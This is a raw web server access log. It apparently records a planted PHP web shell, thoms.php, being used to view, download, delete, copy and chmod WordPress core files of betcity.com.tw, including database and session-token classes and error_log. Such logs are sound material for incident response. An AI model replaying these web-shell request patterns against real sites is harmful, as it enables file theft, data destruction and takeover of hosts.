45.135.193.11 - - [11/Sep/2026:23:37:42 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php HTTP/1.1" 200 14241 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:42 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:42 -0400] "GET /thoms.php?chmod=global-styles-and-settings.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=global-styles-and-settings.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:42 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fview-config.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fview-config.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:42 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:42 -0400] "GET /thoms.php?chmod=style-engine&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=style-engine&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:42 -0400] "GET /thoms.php?del=script-loader.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59370 "http://163.245.207.76:443/thoms.php?del=script-loader.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:42 -0400] "GET /thoms.php?dl=ai-client.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=ai-client.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:43 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=error_log HTTP/1.1" 200 89393 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:42 -0400] "GET /thoms.php?del=class-wp-block-editor-context.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=class-wp-block-editor-context.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:42 -0400] "GET /thoms.php?dl=class-wp-block-type-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:43 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fms-settings.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fms-settings.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:43 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=wp-diff.php HTTP/1.1" 200 12246 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=wp-diff.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:44 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-user-request.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-user-request.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:43 -0400] "GET /thoms.php?del=sitemaps&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59420 "http://163.245.207.76:443/thoms.php?del=sitemaps&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:44 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-user.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-user.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:44 -0400] "GET /thoms.php?del=class-wp-session-tokens.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=class-wp-session-tokens.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:44 -0400] "GET /thoms.php?dl=class-wp-session-tokens.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-session-tokens.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:44 -0400] "GET /thoms.php?chmod=class-wpdb.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=class-wpdb.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:44 -0400] "GET /thoms.php?chmod=cron.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=cron.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:44 -0400] "GET /betcity.com.tw/wp-includes/class-wp-recovery-mode-cookie-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:44 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-list.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-list.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:44 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-supports.php HTTP/1.1" 200 14337 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-supports.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:44 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-user-meta-session-tokens.php HTTP/1.1" 200 12864 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-user-meta-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:44 -0400] "GET /thoms.php?del=class-wp-widget.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59415 "http://163.245.207.76:443/thoms.php?del=class-wp-widget.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:44 -0400] "GET /thoms.php?del=abilities-api&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=abilities-api&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:45 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-walker.php HTTP/1.1" 200 15569 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-walker.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:45 -0400] "GET /betcity.com.tw/wp-includes/class-wp-icon-collections-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:45 -0400] "GET /thoms.php?del=class-oembed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=class-oembed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:45 -0400] "GET /thoms.php?chmod=class-wp-textdomain-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-textdomain-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:45 -0400] "GET /betcity.com.tw/wp-includes/theme.json HTTP/1.1" 200 2361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:45 -0400] "GET /thoms.php?del=class-wp-meta-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?del=class-wp-meta-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:45 -0400] "GET /thoms.php?del=class-wp-image-editor.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59453 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:45 -0400] "GET /thoms.php?chmod=https-detection.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=https-detection.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:46 -0400] "GET /betcity.com.tw/wp-includes/class-wp-embed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:46 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-customize-manager.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-customize-manager.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:46 -0400] "GET /thoms.php?del=pomo&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59442 "http://163.245.207.76:443/thoms.php?del=pomo&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:46 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11901 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:46 -0400] "GET /thoms.php?del=class-wp-http-cookie.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=class-wp-http-cookie.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:46 -0400] "GET /thoms.php?chmod=session.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=session.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:46 -0400] "GET /thoms.php?chmod=block-bindings&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=block-bindings&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:46 -0400] "GET /thoms.php?del=media-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=media-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:46 -0400] "GET /betcity.com.tw/wp-includes/Text/ HTTP/1.1" 200 867 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:47 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=atomlib.php HTTP/1.1" 200 15843 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=atomlib.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:47 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-ajax-response.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-ajax-response.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:47 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-parser-frame.php HTTP/1.1" 200 12503 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-parser-frame.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:47 -0400] "GET /betcity.com.tw/wp-includes/bookmark-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:47 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-scripts.php HTTP/1.1" 200 22289 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:47 -0400] "GET /thoms.php?dl=class-walker-page.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?dl=class-walker-page.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:47 -0400] "GET /betcity.com.tw/wp-includes/class-wp-admin-bar.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:47 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-application-passwords.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-application-passwords.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:47 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-network.php HTTP/1.1" 200 16313 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:47 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=comment-template.php HTTP/1.1" 200 39106 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=comment-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:47 -0400] "GET /thoms.php?dl=class-wpdb.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wpdb.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:47 -0400] "GET /thoms.php?chmod=connectors.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=connectors.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:48 -0400] "GET /betcity.com.tw/wp-includes/class-walker-category.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=functions.php HTTP/1.1" 200 105442 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-exception.php HTTP/1.1" 200 12049 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-exception.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:48 -0400] "GET /thoms.php?del=feed-atom.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=feed-atom.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:48 -0400] "GET /thoms.php?dl=cache.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59406 "http://163.245.207.76:443/thoms.php?dl=cache.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=plugin.php HTTP/1.1" 200 21185 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=plugin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:48 -0400] "GET /betcity.com.tw/wp-includes/wp-diff.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:48 -0400] "GET /thoms.php?chmod=post-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=post-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:48 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fwp-diff.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fwp-diff.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:48 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-session-tokens.php HTTP/1.1" 200 14112 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:48 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ferror_log&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ferror_log&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:48 -0400] "GET /betcity.com.tw/wp-includes/kses.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:49 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Fphp-ai-client HTTP/1.1" 200 13112 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Fphp-ai-client" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:48 -0400] "GET /thoms.php?del=class-wp-theme-json.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:49 -0400] "GET /betcity.com.tw/wp-includes/atomlib.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
